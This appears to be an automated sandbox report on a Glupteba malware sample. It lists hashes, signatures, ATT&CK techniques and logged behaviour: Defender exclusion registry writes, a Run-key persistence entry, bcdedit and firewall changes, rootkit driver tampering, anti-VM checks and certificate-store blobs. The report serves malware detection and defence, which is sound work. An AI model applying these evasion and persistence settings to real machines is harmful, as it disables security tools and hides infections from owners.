glupteba | 75d167249768d3b15728389b25c65e97f6ad92610b26b7d65fe8e2db83c41e4d

Analysis

max time kernel
150s
max time network
139s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
08-11-2024 09:08

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General

Target

app.exe
Size

4.3MB
MD5

d3f680a40104a2bf44d1e55ab22cc283
SHA1

3e44293bd666ee6842f27001e561442203479698
SHA256

a5d0a8eb93516f6979ce8da08a5750bf7f0f0fc98a969cd9e5b175dd29302a86
SHA512

478c308a40b3da9697ef9925e3d8c375bdc9a51d17d401fdf947f1e9ec7b4b5b59d5aa6e5ab0857825f5dbcb398a1cfffe33f972b6841d2916329f2e2358510b
SSDEEP

98304:MQ4LwEKgQe6M92LKCOdyzrXabdwkxMwasT9mrWh:MQdej2GC+McdXxMTk

Score

10^/10

glupteba metasploit backdoor discovery dropper evasion loader persistence privilege_escalation rootkit trojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba
Glupteba family
glupteba

Glupteba payload 22 IoCs

resource	yara_rule
behavioral13/memory/2452-2-0x0000000003F70000-0x0000000004896000-memory.dmp	family_glupteba
behavioral13/memory/2452-3-0x0000000000400000-0x0000000000D41000-memory.dmp	family_glupteba
behavioral13/memory/2452-7-0x0000000003F70000-0x0000000004896000-memory.dmp	family_glupteba
behavioral13/memory/2452-8-0x0000000000400000-0x0000000000D41000-memory.dmp	family_glupteba
behavioral13/memory/2452-4-0x0000000000400000-0x00000000021A3000-memory.dmp	family_glupteba
behavioral13/memory/2768-9-0x0000000000400000-0x00000000021A3000-memory.dmp	family_glupteba
behavioral13/memory/2768-10-0x0000000000400000-0x00000000021A3000-memory.dmp	family_glupteba
behavioral13/memory/2768-21-0x0000000000400000-0x00000000021A3000-memory.dmp	family_glupteba
behavioral13/memory/2808-53-0x0000000000400000-0x00000000021A3000-memory.dmp	family_glupteba
behavioral13/memory/2808-68-0x0000000000400000-0x00000000021A3000-memory.dmp	family_glupteba
behavioral13/memory/2808-69-0x0000000000400000-0x00000000021A3000-memory.dmp	family_glupteba
behavioral13/memory/2808-99-0x0000000000400000-0x00000000021A3000-memory.dmp	family_glupteba
behavioral13/memory/2808-105-0x0000000000400000-0x00000000021A3000-memory.dmp	family_glupteba
behavioral13/memory/2808-106-0x0000000000400000-0x00000000021A3000-memory.dmp	family_glupteba
behavioral13/memory/2808-107-0x0000000000400000-0x00000000021A3000-memory.dmp	family_glupteba
behavioral13/memory/2808-108-0x0000000000400000-0x00000000021A3000-memory.dmp	family_glupteba
behavioral13/memory/2808-109-0x0000000000400000-0x00000000021A3000-memory.dmp	family_glupteba
behavioral13/memory/2808-110-0x0000000000400000-0x00000000021A3000-memory.dmp	family_glupteba
behavioral13/memory/2808-111-0x0000000000400000-0x00000000021A3000-memory.dmp	family_glupteba
behavioral13/memory/2808-112-0x0000000000400000-0x00000000021A3000-memory.dmp	family_glupteba
behavioral13/memory/2808-113-0x0000000000400000-0x00000000021A3000-memory.dmp	family_glupteba
behavioral13/memory/2808-114-0x0000000000400000-0x00000000021A3000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit
Metasploit family
metasploit

Windows security bypass 2 TTPs 10 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\SummerMorning = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\app.exe = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	app.exe

Modifies boot configuration data using bcdedit 14 IoCs

pid	Process
688	bcdedit.exe
1460	bcdedit.exe
928	bcdedit.exe
784	bcdedit.exe
2444	bcdedit.exe
1860	bcdedit.exe
580	bcdedit.exe
2568	bcdedit.exe
1084	bcdedit.exe
2172	bcdedit.exe
888	bcdedit.exe
1888	bcdedit.exe
268	bcdedit.exe
2032	bcdedit.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\drivers\Winmon.sys	csrss.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2888	netsh.exe

Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
evasion

Impair Defenses
T1562

Command and Scripting Interpreter
T1059

Executes dropped EXE 4 IoCs

pid	Process
2808	csrss.exe
2264	patch.exe
2548	dsefix.exe
2332	injector.exe

Loads dropped DLL 13 IoCs

pid	Process
2768	app.exe
2768	app.exe
852	Process not Found
2264	patch.exe
2264	patch.exe
2264	patch.exe
2264	patch.exe
2264	patch.exe
2264	patch.exe
2264	patch.exe
2264	patch.exe
2808	csrss.exe
2808	csrss.exe

Windows security modification 2 TTPs 10 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\app.exe = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\SummerMorning = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	app.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	app.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Windows\CurrentVersion\Run\SummerMorning = "\"C:\\Windows\\rss\\csrss.exe\""	app.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Manipulates WinMon driver. 1 IoCs

Roottkits write to WinMon to hide PIDs from being detected.

rootkit evasion

description	ioc	Process
File opened for modification	\??\WinMon	csrss.exe

Manipulates WinMonFS driver. 1 IoCs

Roottkits write to WinMonFS to hide directories/files from being detected.

rootkit evasion

description	ioc	Process
File opened for modification	\??\WinMonFS	csrss.exe

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	app.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\rss	app.exe
File created	C:\Windows\rss\csrss.exe	app.exe
File created	C:\Windows\Logs\CBS\CbsPersist_20241108090848.cab	makecab.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	app.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csrss.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	app.exe

GoLang User-Agent 4 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	18	Go-http-client/1.1
HTTP User-Agent header	19	Go-http-client/1.1
HTTP User-Agent header	20	Go-http-client/1.1
HTTP User-Agent header	33	Go-http-client/1.1

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-352 = "FLE Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-621 = "Korea Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-772 = "Montevideo Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-1022 = "Bangladesh Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-502 = "Nepal Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-335 = "Jordan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-132 = "US Eastern Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-191 = "Mountain Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-152 = "Central America Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-52 = "Greenland Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-211 = "Pacific Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-602 = "Taipei Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-334 = "Jordan Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-552 = "North Asia Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-741 = "New Zealand Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-592 = "Malay Peninsula Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-449 = "Azerbaijan Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-21 = "Cape Verde Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-371 = "Jerusalem Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace\Session	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-582 = "North Asia East Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-591 = "Malay Peninsula Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-1412 = "Syria Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-512 = "Central Asia Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-434 = "Georgian Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-581 = "North Asia East Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-364 = "Middle East Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-21 = "Cape Verde Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-471 = "Ekaterinburg Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-581 = "North Asia East Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-22 = "Cape Verde Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-331 = "E. Europe Daylight Time"	app.exe

Modifies system certificate store 2 TTPs 9 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 0f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 040000000100000010000000e4a68ac854ac5242460afd72481b2a440f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a41400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f392000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe
